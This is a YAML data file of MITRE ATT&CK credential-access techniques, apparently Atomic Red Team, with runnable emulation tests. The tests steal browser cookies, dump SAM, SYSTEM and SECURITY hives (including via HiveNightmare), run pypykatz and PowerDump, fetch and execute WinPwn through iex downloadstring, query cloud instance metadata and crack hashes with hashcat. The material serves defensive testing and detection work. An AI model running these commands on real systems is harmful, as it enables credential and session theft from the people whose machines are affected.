      id: attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff
      created: '2019-10-08T20:04:35.508Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1539
        external_id: T1539
      - source_name: Krebs Discord Bookmarks 2023
        description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious
          Bookmarks. Retrieved January 2, 2024.
        url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
      - source_name: Kaspersky TajMahal April 2019
        description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new
          APT framework. Retrieved October 14, 2019.
        url: https://securelist.com/project-tajmahal/90240/
      - source_name: Github evilginx2
        description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.
        url: https://github.com/kgretzky/evilginx2
      - source_name: GitHub Mauraena
        description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved
          October 14, 2019.
        url: https://github.com/muraenateam/muraena
      - source_name: Pass The Cookie
        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
      - source_name: Talos Roblox Scam 2023
        description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs,
          API forms and more to scam users in popular online game “Roblox”. Retrieved
          January 2, 2024.
        url: https://blog.talosintelligence.com/roblox-scam-overview/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1539
    atomic_tests:
    - name: Steal Firefox Cookies (Windows)
      auto_generated_guid: 4b437357-f4e9-4c84-9fa6-9bcee6f826aa
      description: "This test queries Firefox's cookies.sqlite database to steal the
        cookie data contained within it, similar to Zloader/Zbot's cookie theft function.
        \nNote: If Firefox is running, the process will be killed to ensure that the
        DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        sqlite3_path:
          description: Path to sqlite3
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe
        output_file:
          description: Filepath to output cookies
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1539FirefoxCookies.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sqlite3 must exist at (#{sqlite3_path})

          '
        prereq_command: 'if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
          Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force
      executor:
        command: |
          stop-process -name "firefox" -force -erroraction silentlycontinue
          $CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"
          "select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}"
        cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: false
    - name: Steal Chrome Cookies (Windows)
      auto_generated_guid: 26a6b840-4943-4965-8df5-ef1f9a282440
      description: "This test queries Chrome's SQLite database to steal the encrypted
        cookie data, designed to function similarly to Zloader/Zbot's cookie theft
        function. \nOnce an adversary obtains the encrypted cookie info, they could
        go on to decrypt the encrypted value, potentially allowing for session theft.
        \nNote: If Chrome is running, the process will be killed to ensure that the
        DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        cookie_db:
          description: Filepath for Chrome cookies database
          type: string
          default: "$env:localappdata\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
        sqlite3_path:
          description: Path to sqlite3
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe
        output_file:
          description: Filepath to output cookies
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1539ChromeCookies.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sqlite3 must exist at (#{sqlite3_path})

          '
        prereq_command: 'if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
          Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force
      executor:
        command: |
          stop-process -name "chrome" -force -erroraction silentlycontinue
          "select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}"
        cleanup_command: 'remove-item #{output_file}

          '
        name: powershell
        elevation_required: false
    - name: Steal Chrome Cookies via Remote Debugging (Mac)
      auto_generated_guid: e43cfdaf-3fb8-4a45-8de0-7eee8741d072
      description: |-
        The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

        If successful, this test will output a list of cookies.

        Note: Chrome processes will be killed during this test.

        See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e
      supported_platforms:
      - macos
      dependency_executor_name: bash
      dependencies:
      - description: Install Go
        prereq_command: go version
        get_prereq_command: brew install go
      - description: Download and compile WhiteChocolateMacademiaNut
        prereq_command: "/tmp/WhiteChocolateMacademiaNut/chocolate -h"
        get_prereq_command: |-
          git clone https://github.com/slyd0g/WhiteChocolateMacademiaNut.git /tmp/WhiteChocolateMacademiaNut
          cd /tmp/WhiteChocolateMacademiaNut
          go mod init chocolate
          go mod tidy
          go build
      executor:
        command: |-
          killall 'Google Chrome'
          sleep 1
          open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/
          sleep 1
          /tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337
        cleanup_command: rm -rf /tmp/WhiteChocolateMacademiaNut
        name: bash
        elevation_required: false
  T1003.002:
    technique:
      modified: '2023-07-24T18:53:10.860Z'
      name: 'OS Credential Dumping: Security Account Manager'
      description: "Adversaries may attempt to extract credential material from the
        Security Account Manager (SAM) database either through in-memory techniques
        or through the Windows Registry where the SAM database is stored. The SAM
        is a database file that contains local accounts for the host, typically those
        found with the <code>net user</code> command. Enumerating the SAM database
        requires SYSTEM level access.\n\nA number of tools can be used to retrieve
        the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n*
        [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively,
        the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam
        sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then
        be used to process the SAM database locally to retrieve hashes.(Citation:
        GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n*
        RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      - Olaf Hartong, Falcon Force
      x_mitre_deprecated: false
      x_mitre_detection: Hash dumpers open the Security Accounts Manager (SAM) on
        the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create
        a dump of the Registry SAM key to access stored account password hashes. Some
        hash dumpers will open the local file system as a device and parse to the
        SAM table to avoid file access defenses. Others will make an in-memory copy
        of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        in-use by adversaries may help as well.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Windows Registry: Windows Registry Key Access'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011
      created: '2020-02-11T18:42:07.281Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003/002
        external_id: T1003.002
      - source_name: GitHub Creddump7
        description: Flathers, R. (2018, February 19). creddump7. Retrieved April
          11, 2018.
        url: https://github.com/Neohapsis/creddump7
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003.002
    atomic_tests:
    - name: Registry dump of SAM, creds, and secrets
      auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44
      description: |
        Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
        via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

        Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
      supported_platforms:
      - windows
      executor:
        command: |
          reg save HKLM\sam %temp%\sam
          reg save HKLM\system %temp%\system
          reg save HKLM\security %temp%\security
        cleanup_command: |
          del %temp%\sam >nul 2> nul
          del %temp%\system >nul 2> nul
          del %temp%\security >nul 2> nul
        name: command_prompt
        elevation_required: true
    - name: Registry parse with pypykatz
      auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263
      description: |
        Parses registry hives to obtain stored credentials.

        Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
      supported_platforms:
      - windows
      input_arguments:
        venv_path:
          description: Path to the folder for the tactics venv
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_002
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must have python 3 installed

          '
        prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit
          0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
      - description: 'Computer must have venv configured at #{venv_path}

          '
        prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit
          1 }

          '
        get_prereq_command: 'py -m venv "#{venv_path}"

          '
      - description: "pypykatz must be installed \n"
        prereq_command: 'if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction
          SilentlyContinue) { exit 0 } else { exit 1 }

          '
        get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir
          pypykatz 2>&1 | Out-Null

          '
      executor:
        command: "\"#{venv_path}\\Scripts\\pypykatz\" live lsa \n"
        name: command_prompt
        elevation_required: true
    - name: esentutl.exe SAM copy
      auto_generated_guid: a90c2f4d-6726-444e-99d2-a00cd7c20480
      description: |
        Copy the SAM hive using the esentutl.exe utility
        This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the file to copy
          type: path
          default: "%SystemRoot%/system32/config/SAM"
        file_name:
          description: Name of the copied file
          type: string
          default: SAM
        copy_dest:
          description: Destination of the copied file
          type: string
          default: "%temp%"
      executor:
        command: 'esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}

          '
        name: command_prompt
        elevation_required: true
        cleanup_command: 'del #{copy_dest}\#{file_name} >nul 2>&1

          '
    - name: PowerDump Hashes and Usernames from Registry
      auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193
      description: Executes a hashdump by reading the hashes from the registry.
      supported_platforms:
      - windows
      dependencies:
      - description: PowerDump script must exist on disk at specified location
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1")
          {exit 0} else {exit 1} '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
      executor:
        command: |-
          Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
          Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
          Invoke-PowerDump
        name: powershell
        elevation_required: true
    - name: dump volume shadow copy hives with certutil
      auto_generated_guid: eeb9751a-d598-42d3-b11c-c122d9c3f6c7
      description: |
        Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM".
        This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
      supported_platforms:
      - windows
      input_arguments:
        target_hive:
          description: Hive you wish to dump
          type: string
          default: SAM
        limit:
          description: Limit to the number of shadow copies to iterate through when
            trying to copy the hive
          type: integer
          default: 10
      executor:
        command: 'for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}"
          %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*

          '
        name: command_prompt
        elevation_required: false
        cleanup_command: 'for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a
          >nul 2>&1)

          '
    - name: dump volume shadow copy hives with System.IO.File
      auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0
      description: 'Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)

        '
      supported_platforms:
      - windows
      input_arguments:
        target_hive:
          description: Hive you wish to dump
          type: string
          default: SAM
        limit:
          description: Limit to the number of shadow copies to iterate through when
            trying to copy the hive
          type: integer
          default: 10
      executor:
        command: "1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\"
          , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\"
          -ErrorAction Ignore\n}\n"
        name: powershell
        elevation_required: false
        cleanup_command: |
          1..#{limit} | % {
            rm "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
          }
    - name: WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes
      auto_generated_guid: 0c0f5f06-166a-4f4d-bb4a-719df9a01dbb
      description: Loot local Credentials - Dump SAM-File for NTLM Hashes technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object
          net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile
          -consoleoutput -noninteractive  "
        name: powershell
    - name: Dumping of SAM, creds, and secrets(Reg Export)
      auto_generated_guid: 21df41be-cdd8-4695-a650-c3981113aa3c
      description: |
        Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior
        Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
      supported_platforms:
      - windows
      executor:
        command: |
          reg export HKLM\sam %temp%\sam
          reg export HKLM\system %temp%\system
          reg export HKLM\security %temp%\security
        cleanup_command: |
          del %temp%\sam >nul 2> nul
          del %temp%\system >nul 2> nul
          del %temp%\security >nul 2> nul
        name: command_prompt
        elevation_required: true
  T1552.005:
    technique:
      modified: '2023-03-21T13:56:27.910Z'
      name: 'Unsecured Credentials: Cloud Instance Metadata API'
      description: |
        Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

        Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

        If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

        The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor access to the Instance Metadata API and look for anomalous queries.

        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      type: attack-pattern
      id: attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3
      created: '2020-02-11T18:47:46.619Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/005
        external_id: T1552.005
      - source_name: AWS Instance Metadata API
        description: AWS. (n.d.). Instance Metadata and User Data. Retrieved July
          18, 2019.
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
      - source_name: RedLock Instance Metadata API 2018
        description: 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern
          Day Trojan Horse. Retrieved July 16, 2019.'
        url: https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse
      - source_name: Krebs Capital One August 2019
        description: Krebs, B.. (2019, August 19). What We Can Learn from the Capital
          One Hack. Retrieved March 25, 2020.
        url: https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552.005
    atomic_tests:
    - name: Azure - Search Azure AD User Attributes for Passwords
      auto_generated_guid: ae9b2e3e-efa1-4483-86e2-fae529ab9fb6
      description: "This test uses the MSOnline Powershell module to retrieve all
        user attributes for a specified account, which can sometimes contain unsecured
        credentials. \nUpon successful execution, this test will scan all user attributes
        for any strings containing \"password\".\nThose unsecured credentials will
        be output to a text file, as well as the account that they are associated
        with and the user attribute in which they were found. \nSee: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: 
        password:
          description: Azure AD password
          type: string
          default: T1082Az
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSOnline module must be installed.

          '
        prereq_command: 'if (get-command Get-MsolUser -erroraction silentlycontinue){exit
          0} else {exit 1}

          '
        get_prereq_command: 'install-module MSOnline

          '
      executor:
        command: "import-module msonline\n$Password = ConvertTo-SecureString -String
          \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Password\nConnect-MsolService -Credential $Credential\n$users = Get-MsolUser
          -All;\nforeach($user in $users)\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name};
          \nforeach($prop in $props)\n{if($user.$prop -like \"*password*\")\n{(\"[*]\"
          + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)
          | out-file -filepath $env:temp\\T1552.005Test1.txt -append -force}}}\nget-content
          -path $env:temp\\T1552.005Test1.txt -erroraction silentlycontinue\n"
        cleanup_command: 'remove-item $env:temp\T1552.005Test1.txt -force -erroraction
          silentlycontinue

          '
        name: powershell
        elevation_required: true
    - name: Azure - Dump Azure Instance Metadata from Virtual Machines
      auto_generated_guid: cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7
      description: "This test invokes a web request to the default Instance Metadata
        API of 169.254.169.254 in order to dump the data contained within it to a
        file. \nSee: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        output_file:
          description: File to output metadata to
          type: string
          default: "$env:temp\\T1552.005Test2.txt"
      executor:
        command: 'Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri
          "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json
          -Depth 64 > #{output_file}

          '
        cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue

          '
        name: powershell
  T1555.002:
    technique:
      modified: '2024-03-29T16:37:34.772Z'
      name: Securityd Memory
      description: |-
        An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)

        In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes and command-line arguments for activity
        surrounded users searching for credentials or using automated tools to scan
        memory for passwords.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Access'
      type: attack-pattern
      id: attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72
      created: '2020-02-12T18:56:31.051Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1555/002
        external_id: T1555.002
      - source_name: External to DA, the OS X Way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
        url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
      - source_name: Apple Dev SecurityD
        description: Apple. (n.d.). Security Server and Security Agent. Retrieved
          March 29, 2024.
        url: https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html
      - source_name: OS X Keychain
        description: Juuso Salonen. (2012, September 5). Breaking into the OS X keychain.
          Retrieved July 15, 2017.
        url: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1110.002:
    technique:
      modified: '2023-03-30T21:01:48.643Z'
      name: 'Brute Force: Password Cracking'
      description: "Adversaries may use password cracking to attempt to recover usable
        credentials, such as plaintext passwords, when credential material such as
        password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        can be used to obtain password hashes, this may only get an adversary so far
        when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not
        an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602)
        in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)
        \n\nTechniques to systematically guess the passwords used to compute hashes
        are available, or the adversary may use a pre-computed rainbow table to crack
        hashes. Cracking hashes is usually done on adversary-controlled systems outside
        of the target network.(Citation: Wikipedia Password cracking) The resulting
        plaintext password resulting from a successfully cracked hash may be used
        to log into systems, resources, and services in which the account has access."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Mohamed Kmal
      x_mitre_deprecated: false
      x_mitre_detection: It is difficult to detect when hashes are cracked, since
        this is generally done outside the scope of the target network. Consider focusing
        efforts on detecting other adversary behavior used to acquire credential materials,
        such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - Azure AD
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d
      created: '2020-02-11T18:38:56.197Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1110/002
        external_id: T1110.002
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      - source_name: Wikipedia Password cracking
        description: Wikipedia. (n.d.). Password cracking. Retrieved December 23,
          2015.
        url: https://en.wikipedia.org/wiki/Password_cracking
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1110.002
    atomic_tests:
    - name: Password Cracking with Hashcat
      auto_generated_guid: 6d27df5d-69d4-4c91-bc33-5983ffe91692
      description: Execute Hashcat.exe with provided SAM file from registry of Windows
        and Password list to crack against
      supported_platforms:
      - windows
      input_arguments:
        hashcat_exe:
          description: Path to Hashcat executable
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\hashcat6\hashcat-6.1.1\hashcat.exe
        input_file_sam:
          description: Path to SAM file
          type: string
          default: PathToAtomicsFolder\T1110.002\src\sam.txt
        input_file_passwords:
          description: Path to password list
          type: string
          default: PathToAtomicsFolder\T1110.002\src\password.lst
      dependency_executor_name: powershell
      dependencies:
      - description: Hashcat must exist on disk at specified location (#{hashcat_exe})
        prereq_command: 'if (Test-Path  $(cmd /c echo "#{hashcat_exe}")) {exit 0}
          else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.7-zip.org/a/7z1900.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" -ArgumentList "/S /D=PathToAtomicsFolder\..\ExternalPayloads\7zi" -NoNewWindow
          Invoke-WebRequest "https://hashcat.net/files/hashcat-6.1.1.7z" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z"
          Start-Process cmd.exe -Args  "/c %temp%\7z\7z.exe x %temp%\hashcat6.7z -aoa -o%temp%\hashcat-unzip" -Wait
